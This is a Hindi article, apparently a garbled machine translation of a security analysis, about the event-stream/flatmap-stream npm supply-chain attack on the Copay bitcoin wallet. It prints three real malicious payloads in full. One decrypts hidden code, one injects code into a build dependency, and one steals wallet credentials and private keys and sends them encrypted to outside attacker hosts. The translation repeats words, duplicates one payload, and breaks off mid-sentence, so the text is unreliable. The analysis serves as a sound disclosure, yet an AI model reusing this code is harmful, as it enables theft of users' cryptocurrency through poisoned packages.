рдЖрдзреБрдирд┐рдХ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╡рд┐рдХрд╛рд╕ рдХреЗ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХреЛ рд╣реИрдХ рдХрд░рдиреЗ рдХреА рдЕрдкрдорд╛рдирдЬрдирдХ рдЖрд╕рд╛рдиреА рдХреА рдХрд╣рд╛рдиреА

рдЕрдХреНрдЯреВрдмрд░ рдХреЗ рдЕрдВрдд рдореЗрдВ, рдПрдХ рд╕рдорд╕реНрдпрд╛ рд╕рдВрджреЗрд╢ рдмреЗрд╣рдж рд▓реЛрдХрдкреНрд░рд┐рдп рдиреЛрдбрдо Node.js рдЯреВрд▓ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджрд┐рдпрд╛ред рдмрд╛рдд рдпрд╣ рдереА рдХрд┐ рдХрдВрд╕реЛрд▓ рдореЗрдВ рдирд┐рдореНрди рдЪреЗрддрд╛рд╡рдиреА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рдЧрдИ рдереА: DeprecationWarning: crypto.createDecipher is deprecated ред рдкреБрд░рд╛рдиреА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдЕрд▓рд░реНрдЯ рдЕрд╕рд╛рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИрдВред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрд╣ рд╕рдВрджреЗрд╢ рдХрд╛рдлреА рд╣рд╛рдирд┐рд░рд╣рд┐рдд рд▓рдЧ рд░рд╣рд╛ рдерд╛ред рдпрд╣ рд╕реНрд╡рдпрдВ рдиреЛрдбрдо рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рдерд╛, рд▓реЗрдХрд┐рди рдЗрд╕рдХреА рдПрдХ рдирд┐рд░реНрднрд░рддрд╛ рдХреЛред рдпрд╣ рддрд┐рдХрдбрд╝реА рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ рдзреНрдпрд╛рди рдирд╣реАрдВ рд░рд╣ рд╕рдХрддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐, рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЗрд╕ рддрд░рд╣ рдХреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╕реНрд╡рдпрдВ рджреНрд╡рд╛рд░рд╛ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЗ рдкрд╣рд▓реЗ рдЙрд▓реНрд▓реЗрдЦ рдХреЗ рд▓рдЧрднрдЧ рджреЛ рд╣рдлреНрддреЗ рдмрд╛рдж, рдПрд░реНрдЯрди рд╕реНрдкрд░реНрд▓рд┐рдВрдЧ рдиреЗ рд╕рдм рдХреБрдЫ рдЬрд╛рдВрдЪрд╛ рдФрд░ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдЪреЗрддрд╛рд╡рдиреА рдХрд╛ рдХрд╛рд░рдг рдПрдХ рдЧрд╣рд░рд╛ рдирдпрд╛ рдирд╢рд╛ рдерд╛ ред рдпрд╣ рд╕рдВрджреЗрд╢ рдПрдХ рдЕрдЬреАрдм рд╕реА рдХреЛрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрдд рдореЗрдВ рдЖрдпрд╛, рдЬреЛ рдХрд┐ рдПрдХ рд╕рдВрдХреНрд╖рд┐рдкреНрдд рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрдд рдореЗрдВ рдереА, рдЬреЛ рдХрд┐ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдирд╣реАрдВ рдереА, рдФрд░ рдЬреЛ рдмрд╛рдж рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рд╕реЗ рд╣рдЯрд╛ рджреА рдЧрдИ рдереАред рдПрд░реНрдЯрди рдХреЗ рд╢реЛрдз рдиреЗ рдЙрдиреНрд╣реЗрдВ рд▓реЛрдХрдкреНрд░рд┐рдп рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдПрдирдкреАрдПрдо рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ рдПрдХ рд╕рдкреНрддрд╛рд╣ рдореЗрдВ рд▓рдЧрднрдЧ рджреЛ рдорд┐рд▓рд┐рдпрди рдмрд╛рд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХ рдЕрдЪреНрдЫреА рдкреНрд░рддрд┐рд╖реНрдард╛ рдХреЗ рд╕рд╛рде рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдбреЗрд╡рд▓рдкрд░ рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдерд╛ред

рдХреБрдЫ рдорд╣реАрдиреЗ рдкрд╣рд▓реЗ, рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдкреНрд░рдмрдВрдзрди рдХреЛ рдПрдХ рдЕрдиреНрдп рд╡реНрдпрдХреНрддрд┐ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдПрдХ рдЫреЛрдЯрд╛-рд╕рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдерд╛, рдЬрд┐рд╕рдиреЗ рдИ-рдореЗрд▓ рджреНрд╡рд╛рд░рд╛, рдкреИрдХреЗрдЬ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдерд╛ред рдпрд╣ рдХрд╛рдиреВрдиреА рд░реВрдк рд╕реЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рддрдм рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдиреЗ рдЕрдкрдиреЗ рдкреИрдЪ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдореИрд▓рд╡реЗрдпрд░ рдирд┐рд░реНрднрд░рддрд╛ рд╕рд╣рд┐рдд рдШрдЯрдирд╛-рд╕реНрдЯреНрд░реАрдо рдкреИрдХреЗрдЬ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛, рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдЙрдиреНрд╣реЛрдВрдиреЗ рдЗрд╕ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рдмрд┐рдирд╛ рдкреИрдХреЗрдЬ рдХрд╛ рдПрдХ рдирдпрд╛ рдкреНрд░рдореБрдЦ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ред рдЗрд╕рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рд╡рд╣ рдмрджрд▓рд╛рд╡ рдХреЛ рдХрдо рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рдмрдирд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ред рдирдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЬреЛ рд╕рдВрднрд╡рддрдГ рдирд┐рд░реНрднрд░рддрд╛ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрдиреЗ рдХреА рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд░рдЦрддреЗ рд╣реИрдВ, рд╡реЗ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо (рдЗрд╕ рд▓реЗрдЦрди рдХреЗ рд╕рдордп 4.x) рдХреЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВрдЧреЗред рдФрд░ рд╡реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд┐рдирдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдкреИрдХреЗрдЬ рдХреЗ рдкрд┐рдЫрд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдирд┐рд░реНрднрд░ рдереЗ, рд╡реЗ рдЕрдЧрд▓реА рдмрд╛рд░ npm install рдХрдорд╛рдВрдб рдХреЛ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХреНрд░рдорд┐рдд рдкреИрдЪ рд╕рдВрд╕реНрдХрд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВрдЧреЗ (рдпрд╣ рдЕрдкрдбреЗрдЯ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдкреИрдХреЗрдЬ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддрд╛ рд╣реИ)ред

рдШрдЯрдирд╛ рдХрд╛ рд╡рд┐рд╡рд░рдг


рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдлрд╝реНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдХреЛрдб рдХреЛ рдбреЗрдЯрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬреЛ рдХрд┐ рдХреБрдЫ рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЬреЛ рдмрд╣реБрдд рд╣реА рдорд╛рдореВрд▓реА рд░реВрдк рд╕реЗ рдореЛрдЯреЗ рдереЗ, рдореЗрдВ рджреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЯреБрдХрдбрд╝реЗ рд╣реЛрддреЗ рдереЗ, рдЬрд┐рдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирдХрд░ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред

 ! function() {   try {       var r = require,           t = process;       function e(r) {           return Buffer.from(r, "hex").toString()       }       var n = r(e("2e2f746573742f64617461")),           o = t[e(n[3])][e(n[4])];       if (!o) return;       var u = r(e(n[2]))[e(n[6])](e(n[5]), o),           a = u.update(n[0], e(n[8]), e(n[9]));       a += u.final(e(n[9]));       var f = new module.constructor;       f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])   } catch (r) {} }(); 

рдЗрд╕ рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ Payload A рдХрд╣реЛ Payload A рдпрд╣ npm_package_description рд╡рд╛рддрд╛рд╡рд░рдг рдЪрд░ рдореЗрдВ npm_package_description рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдХреА npm_package_description рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рдкрд░рд┐рд╡реЗрд╢ рдЪрд░ рдореЗрдВ рд░реВрдЯ рдкреИрдХреЗрдЬ рдХрд╛ рд╡рд┐рд╡рд░рдг рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдХреЗрд╡рд▓ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рдХреНрд╖реНрдп рдкреИрдХреЗрдЬ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╕реНрдорд╛рд░реНрдЯ рдЪрд╛рд▓! рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдпрд╣ рдкреИрдХреЗрдЬ рдХреЛрдкреЗ рдмрд┐рдЯрдХреЙрдЗрди рд╡реЙрд▓реЗрдЯ рдХрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдерд╛, рдФрд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдП рд╕рд┐рдХреНрдпреЛрд░ рдмрд┐рдЯрдХреЙрдЗрди рд╡реЙрд▓реЗрдЯ рдерд╛ (рдпрд╣ рдЧреЗрд╕рдм рдпреВрдЬрд░ рдореИрдереНрд╕ 22 рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдерд╛)ред

Payload A рдХреЛрдб рдХреЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдбреЗрдЯрд╛ рдХреЗ рдкрд╣рд▓реЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЬрд┐рд╕ рдХреЛрдб рдХреЛ рд╣рдо Payload B рдХрд╣рддреЗ рд╣реИрдВ, Payload B рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ Payload B рдерд╛ред

 /*@@*/ module.exports = function(e) {   try {       if (!/build\:.*\-release/.test(process.argv[2])) return;       var t = process.env.npm_package_description,           r = require("fs"),           i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js",           n = r.statSync(i),           c = r.readFileSync(i, "utf8"),           o = require("crypto").createDecipher("aes256", t),           s = o.update(e, "hex", "utf8");       s = "\n" + (s += o.final("utf8"));       var a = c.indexOf("\n/*@@*/");       0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() {           try {               r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime)           } catch (e) {}       })   } catch (e) {} }; 

рдЗрд╕ рдХреЛрдб рдиреЗ рдЬрд╛рдБрдЪ рдХреА рдХрд┐ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рддрд░реНрдХ рдХреЗ рд╕рд╛рде рдЪрд▓рд╛рдИ рдЬрд╛рдПрдЧреА, рдЬрд┐рд╕рдореЗрдВ build:*-release рдорд┐рд▓рд╛рди рдХреБрдЫ рд╣реЛрдЧрд╛ build:*-release рдкреИрдЯрд░реНрдиред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ npm run build:ios-release рддрд░рд╣ рд▓рдЧ рд╕рдХрддрд╛ рд╣реИред рдЕрдиреНрдпрдерд╛, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдХреЛрдкреЗ рдореЗрдВ рдкреНрд░рдпреБрдХреНрдд рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП рд╕рд┐рд░реНрдл рддреАрди рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдпрд╣ рд╕реАрдорд┐рдд рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрдиред рдЕрд░реНрдерд╛рддреН, рд╣рдо рдЙрди рд▓рд┐рдкрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдбреЗрд╕реНрдХрдЯреЙрдк рд╕рдВрд╕реНрдХрд░рдг рдФрд░ iOS рдФрд░ Android рдХреЗ рд▓рд┐рдП рдЗрд╕рдХреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИрдВред

рддрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдиреЗ рдПрдХ рдФрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдирд┐рд░реНрднрд░рддрд╛ рдХреА рддрд▓рд╛рд╢ рдХреА, рдЕрд░реНрдерд╛рддреН, рд╡рд╣ @ ReedSolomonDecoder.js / рдкреБрд╕реНрддрдХрд╛рд▓рдп рдкреИрдХреЗрдЬ рд╕реЗ ReedSolomonDecoder.js рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддрд╛ рдерд╛ред Payload B рдХреЛрдб рдиреЗ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд╣реАрдВ рдЪрд▓рд╛рдпрд╛ред рдЙрдиреНрд╣реЛрдВрдиреЗ рдмрд╕ Payload C рдХреЛрдб рдХреЛ рдЗрд╕рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рдЗрд╕ рдХреЛрдб рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╣реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬрдм ReedSolomonDecoder рд▓реЛрдб рдХрд┐рдпрд╛ ReedSolomonDecoder ред рдпрд╣рд╛рдБ рдкрд░ Payload C рдХреЛрдб рд╣реИред

 /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() \ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \ n2wIDAQAB \ N ----- END /*@@*/ ! function() {   function e() {       try {           var o = require("http"),               a = require("crypto"),               c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----";           function i(e, t, n) {               e = Buffer.from(e, "hex").toString();               var r = o.request({                   hostname: e,                   port: 8080,                   method: "POST",                   path: "/" + t,                   headers: {                       "Content-Length": n.length,                       "Content-Type": "text/html"                   }               }, function() {});               r.on("error", function(e) {}), r.write(n), r.end()           }           function r(e, t) {               for (var n = "", r = 0; r < t.length; r += 200) {                   var o = t.substr(r, 200);                   n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+"               }               i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n)           }           function l(t, n) {               if (window.cordova) try {                   var e = cordova.file.dataDirectory;                   resolveLocalFileSystemURL(e, function(e) {                       e.getFile(t, {                           create: !1                       }, function(e) {                           e.file(function(e) {                               var t = new FileReader;                               t.onloadend = function() {                                   return n(JSON.parse(t.result))                               }, t.onerror = function(e) {                                   t.abort()                               }, t.readAsText(e)                           })                       })                   })               } catch (e) {} else {                   try {                       var r = localStorage.getItem(t);                       if (r) return n(JSON.parse(r))                   } catch (e) {}                   try {                       chrome.storage.local.get(t, function(e) {                           if (e) return n(JSON.parse(e[t]))                       })                   } catch (e) {}               }           }           global.CSSMap = {}, l("profile", function(e) {               for (var t in e.credentials) {                   var n = e.credentials[t];                   "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) {                       var t = this;                       t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t)))                   }.bind(n))               }           });           var e = require("bitcore-wallet-client/lib/credentials.js");           e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {               var t = this.getKeysFunc(e);               try {                   global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey))               } catch (e) {}               return t           }       } catch (e) {}   }   window.cordova ? document.addEventListener("deviceready", e) : e() 

Payload A рдФрд░ Payload B рдХреЛрдб рдХреЛ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдмрд┐рд▓реНрдб рд╕рд░реНрд╡рд░ рдкрд░ Node.js рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди Payload C рдХреЛрд░реНрдбреЛрд╡рд╛ рдлреНрд░реЗрдорд╡рд░реНрдХ (рдкреВрд░реНрд╡ рдореЗрдВ PhoneGap ) рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рддрд╣рдд рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рд╕рдорд╛рди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдврд╛рдВрдЪрд╛ рдЖрдкрдХреЛ рд╡реЗрдм рддрдХрдиреАрдХреЛрдВ - рдПрдЪрдЯреАрдПрдордПрд▓, рд╕реАрдПрд╕рдПрд╕ рдФрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЗ рд▓рд┐рдП рдореВрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рд╡рд┐рднрд┐рдиреНрди рдкреНрд▓реЗрдЯрдлрд╛рд░реНрдореЛрдВ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рдХреЛрдкреЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди (рд╕рд╛рде рд╣реА рдЗрд╕ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдХрд╛рдВрдЯреЗ рдЬреИрд╕реЗ FCash ) рдХреЛрд░реНрдбреЛрд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рдЗрди рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИ рдХрд┐ рд╣рдорд▓реЗ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд╣реИред рдпреЗ рдореВрд▓ рдРрдк рдХреЛрдкреЗ рдХреЗ рдЕрдВрддрд┐рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╣реИрдВ рдЬреЛ рдЙрдирдХреЗ рд╕рд╛рде рдЕрдкрдиреЗ рдмрд┐рдЯрдХреЙрдЗрди рд╡реЙрд▓реЗрдЯ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рдмрдЯреБрдП рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╣рд┐рдд рдХреЗ рдереЗред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдиреЗ рдЪреЛрд░реА рдХрд╛ 